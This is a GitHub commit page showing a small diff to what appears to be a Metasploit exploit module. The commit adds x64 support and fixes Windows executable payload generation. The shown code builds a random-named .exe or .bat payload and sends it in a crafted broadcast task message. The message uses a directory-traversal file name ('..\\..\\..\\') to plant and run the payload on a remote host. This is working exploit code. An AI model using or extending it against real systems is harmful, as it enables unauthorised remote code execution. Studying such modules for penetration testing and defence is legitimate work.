Skip to content

Commit

Permalink
Added x64 arch and fixed exe gen
Browse files Browse the repository at this point in the history
  • Loading branch information
rwincey committed May 21, 2019
1 parent 7c30422 commit 99f3f6c
Showing 1 changed file with 3 additions and 3 deletions.
Expand Up @@ -30,7 +30,8 @@ def initialize(info = {})
'Targets' =>
[
[
'Windows Powershell Injected Shellcode', {
'Windows Binary', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win'
}
],
Expand Down Expand Up @@ -107,15 +108,14 @@ def exploit
# Generate binary name
bin_name = rand_text_alpha(8)
if command.nil?
payload_contents = generate_payload_exe(code: payload.generate).bytes.to_a
payload_contents = generate_payload_exe(code: payload.generate)
bin_name += ".exe"
else
payload_contents = command.to_s
print_status('Executing command: ' + payload_contents)
bin_name += ".bat"
end

#payload_contents = "calc.exe"
print_status('Sending payload: ' + bin_name)
enc_stream = construct_bcast_task_msg(node_port, "..\\..\\..\\" + bin_name, payload_contents, bin_name)
send_msg(enc_stream)
Expand Down

0 comments on commit 99f3f6c

Please sign in to comment.